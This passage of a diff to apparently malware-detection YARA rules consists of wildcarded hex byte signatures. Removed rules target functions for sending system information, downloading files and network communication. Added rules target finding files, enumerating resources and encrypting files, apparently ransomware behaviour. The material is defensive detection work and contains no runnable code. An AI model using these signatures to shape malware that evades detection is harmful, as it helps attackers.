?? 90 48 8B 1D ?? ?? ?? ?? 48 8D - 05 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? - C6 41 ?? ?? 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 66 90 E8 ?? ?? ?? ?? 48 8B 44 24 ?? E9 ?? - ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 - } - $send_system_information_v1 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 11 48 8B 49 - ?? 48 8B 52 ?? 48 89 C8 FF D2 48 85 DB 0F 85 ?? ?? ?? ?? 48 89 C3 48 8D 05 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 66 0F 1F 44 00 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 - 5C 24 ?? 48 89 4C 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 7C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? - 48 8B 51 ?? 48 8B 42 ?? 48 8B 5A ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 - ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D - 44 24 ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 51 ?? - 48 8B 49 ?? 48 8B 52 ?? 48 89 C7 48 89 DE 4C 8B 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 - ?? 48 89 C8 48 8D 1D ?? ?? ?? ?? B9 ?? ?? ?? ?? FF D2 48 85 DB 75 ?? 48 81 78 ?? ?? - ?? ?? ?? 74 ?? 44 0F 11 7C 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 - 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? - ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 - C0 31 DB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 D8 48 89 CB 48 8B AC - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 F8 48 89 F3 48 8B AC 24 ?? ?? ?? ?? 48 - 81 C4 ?? ?? ?? ?? C3 48 89 D8 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? - C3 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 + $find_files_p1 = { + 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 A5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 89 04 24 E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? C9 C3 C7 04 24 ?? ?? ?? ?? 8B 4D ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? + ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? + ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? + 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? + ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? + C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? C7 04 + 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? + ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? + E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? + ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? + ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 4D ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 + 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? + 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 } - $download_file_v1_p1 = { - 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? - ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 B4 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 - 89 5C 24 ?? 48 89 4C 24 ?? 48 89 F8 48 89 F3 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C - 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 - ?? 48 8B 49 ?? 48 89 D0 48 89 CB E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 - 94 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 44 - 0F 11 7C 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 - 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D - 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? - BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8B 4C 24 ?? - 48 8B 49 ?? 48 89 C7 48 89 DE 45 31 C0 45 31 C9 4D 89 CA 48 8B 44 24 ?? 48 8D 1D ?? - ?? ?? ?? 48 89 CA B9 ?? ?? ?? ?? FF D2 0F 1F 80 ?? ?? ?? ?? 48 85 DB 0F 85 ?? ?? ?? - ?? 48 81 78 ?? ?? ?? ?? ?? 75 ?? 48 8B 08 48 8B 78 ?? 48 8B 70 ?? 48 8B 84 24 ?? ?? - ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 74 ?? 31 C9 + $find_files_p2 = { + 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 8D 95 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? + EB ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 52 52 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 51 51 74 ?? + 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 74 ?? + F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 89 85 ?? ?? ?? ?? + 8B 45 ?? 8B 51 ?? 8D 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 51 89 44 24 ?? 8B 45 ?? 89 44 24 + ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04 + 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 + 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? + 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89 + 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB + ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 87 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 } - $download_file_v1_p2 = { - 48 89 C7 48 89 DE 31 C0 48 89 CB 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 - C0 48 8B 5C 24 ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 FF 31 F6 48 8B AC 24 ?? ?? ?? ?? - 48 81 C4 ?? ?? ?? ?? 90 C3 44 0F 11 7C 24 ?? 48 8B 40 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? - ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C - 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 31 C9 48 89 C7 48 89 DE 31 C0 48 89 CB - 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 31 C0 48 89 DF 48 89 CE 31 DB 48 89 - D9 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 - 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 - ?? 48 8B 4C 24 ?? 48 8B 7C 24 ?? 48 8B 74 24 + $enum_resources_p1 = { + 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 EC ?? 85 C0 74 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 + ?? C9 C2 ?? ?? 8B 45 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 EC ?? 85 C0 89 85 ?? ?? ?? ?? 74 ?? 90 8D B4 26 ?? ?? ?? ?? 8B 45 ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 55 ?? + 89 54 24 ?? 8B 85 ?? ?? ?? ?? 8D 55 ?? 89 54 24 ?? 89 44 24 ?? 8B 45 ?? 89 04 24 C7 + 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 + 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 89 04 24 E8 ?? ?? ?? ?? 83 EC ?? + 85 C0 0F 94 C0 0F B6 C0 89 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B } - $network_communication_v2 = { - 64 48 8B 0C 25 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83 EC ?? 48 89 6C 24 ?? - 48 8D 6C 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 44 24 ?? 48 8B 44 24 ?? 48 8B 08 48 8B - 51 ?? 48 8B 49 ?? 48 89 14 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D - ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 8B 10 48 8B 9A ?? ?? ?? - ?? 48 8B 92 ?? ?? ?? ?? 48 89 1C 24 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 - 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 89 04 24 48 C7 44 - 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 - 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 - 24 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? - 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 54 24 ?? 48 89 54 24 ?? 48 8B 5C 24 ?? 48 89 5C - 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 + $enum_resources_p2 = { + 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 45 ?? EB ?? 8B 45 ?? 8B 40 ?? 89 85 + ?? ?? ?? ?? 83 E0 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 83 45 ?? ?? 8B + 85 ?? ?? ?? ?? 39 45 ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? F6 40 ?? ?? 74 ?? 8D 45 ?? 8B 4D + ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8B 45 ?? + 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 83 EC ?? 39 D0 0F 84 + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D 45 ?? 8B + 4D ?? 89 45 ?? 8B 45 ?? 8B 51 ?? 8D 4D ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 45 ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 EC ?? 8B 40 ?? 89 C2 89 85 ?? ?? ?? ?? 8D 45 + ?? 85 D2 89 45 ?? B8 ?? ?? ?? ?? 74 ?? 89 14 24 E8 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 89 + 44 24 ?? 8B 85 ?? ?? ?? ?? 8D 4D ?? 89 04 24 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 45 ?? 83 EC ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 45 ?? 89 04 24 C7 45 ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 8B 45 ?? 8D 55 ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8D + 55 ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 } - $send_system_information_v2 = { - 64 48 8B 0C 25 ?? ?? ?? ?? 48 8D 44 24 ?? 48 3B 41 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? - ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 8B 48 ?? 48 8B 11 48 8B 49 ?? 48 8B 52 ?? 48 89 0C 24 FF D2 48 8B 44 24 ?? 48 8B 4C - 24 ?? 48 83 7C 24 ?? ?? 0F 1F 40 ?? 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 - 24 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 8B - 74 24 ?? 48 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 48 89 54 24 ?? 48 89 5C 24 ?? 48 89 74 - 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B - 08 48 8B 51 ?? 48 8B 49 ?? 48 89 14 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? - 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 10 - 48 8B 9A ?? ?? ?? ?? 48 8B 92 ?? ?? ?? ?? 48 89 1C 24 48 89 54 24 ?? E8 ?? ?? ?? ?? - 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? - 48 8D 44 24 ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 48 ?? 48 8B 40 ?? 48 8B 49 ?? 48 89 04 24 - 48 8D 05 ?? ?? ?? ?? 48 89 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 - 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 90 FF D1 48 8B - 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 83 7C 24 ?? ?? 75 ?? 48 81 78 ?? ?? ?? ?? - ?? 74 ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 - 81 C4 ?? ?? ?? ?? C3 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 - C4 ?? ?? ?? ?? C3 48 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? - ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 84 24 ?? ?? ?? ?? 48 89 8C 24 + $encrypt_files_p1 = { + 55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? + C6 45 ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 + 45 ?? ?? C7 45 ?? ?? ?? ?? ?? 03 48 ?? 89 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 45 ?? ?? + ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 01 C7 04 24 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 EC ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 83 EC ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 8B 51 ?? 8D + 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 83 EC ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? 8D 8D + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 8D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? + ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 8D 8D ?? ?? + ?? ?? 8B 85 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 03 48 ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 EC ?? 39 D0 + 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B } - $download_file_v2_p1 = { - 64 48 8B 0C 25 ?? ?? ?? ?? 48 8D 44 24 ?? 48 3B 41 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? - ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 - 89 04 24 48 8B 8C 24 ?? ?? ?? ?? 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 - 44 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 0F 11 84 24 - ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 5A ?? 48 8B 72 ?? 48 89 1C 24 48 89 74 24 - ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 - 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 90 ?? ?? ?? ?? 48 8B 80 ?? ?? ?? ?? - 48 89 14 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 - 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 04 24 48 C7 - 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B - 4C 24 ?? 0F 57 C0 0F 11 44 24 ?? 0F 11 84 24 ?? ?? ?? ?? 48 89 04 24 48 89 4C 24 ?? - E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? - ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 54 24 ?? 48 89 54 24 ?? E8 ?? ?? ?? ?? 48 8B - 44 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D - 05 ?? ?? ?? ?? 48 89 04 24 48 C7 44 24 ?? ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 44 24 ?? - 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? - 48 8B 4C 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 52 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 1C - 24 48 8D 1D ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 89 44 24 ?? 48 - 89 4C 24 ?? 0F 57 C0 0F 11 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? FF D2 48 8B 44 24 + $encrypt_files_p2 = { + 40 ?? 89 44 24 ?? 8B 45 ?? 8B 00 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? A1 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 89 94 05 ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C9 C3 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 03 48 ?? 8B 41 ?? 83 C8 ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 EC ?? E9 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? + ?? ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 77 ?? 8B 85 + ?? ?? ?? ?? FF 24 85 ?? ?? ?? 